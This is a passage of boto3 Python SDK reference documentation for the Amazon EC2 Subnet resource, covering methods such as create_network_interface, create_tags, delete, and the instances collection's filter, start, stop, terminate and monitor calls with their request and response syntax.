CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = subnet.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the network interface. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + The IDs of one or more security groups. + + * _(string) --_ +* **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +* **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +* **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +* **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1094)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1096)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = subnet.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSubnet) + +**Request Syntax** + +response = subnet.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +subnet.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = subnet.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = subnet.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = subnet.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = subnet.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = subnet.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = subnet.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = subnet.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = subnet.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': 